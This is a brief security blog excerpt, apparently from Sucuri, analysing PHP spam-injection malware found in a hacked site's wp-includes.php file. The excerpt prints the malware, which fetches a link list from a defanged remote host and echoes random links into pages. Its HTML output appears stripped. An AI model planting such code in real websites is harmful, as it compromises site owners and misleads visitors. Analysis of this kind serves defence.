This investigation started with a small and quite simple piece of PHP malware found on a hacked website. We located the following PHP code, responsible for injecting spammy links, within a wp-includes.php file:

<?php

$lines = file(‘https://4ip[.]su/db/links.txt’); 

shuffle($lines);

$data = array_rand($lines, 900); 

echo ‘

‘;

foreach($data as $value) {

$rand = substr(md5(microtime()),rand(0,26),6);

echo ‘‘.$rand.’ ‘;

};

echo ‘

‘;

?>

This script fetches a list of links from a remote location (hxxps://4ip[.]su/db/links.txt) and then injects some of them into a web page.

Continue reading Massive Google Colaboratory Abuse: Gambling and Subscription Scam at .

Via Sucuri.net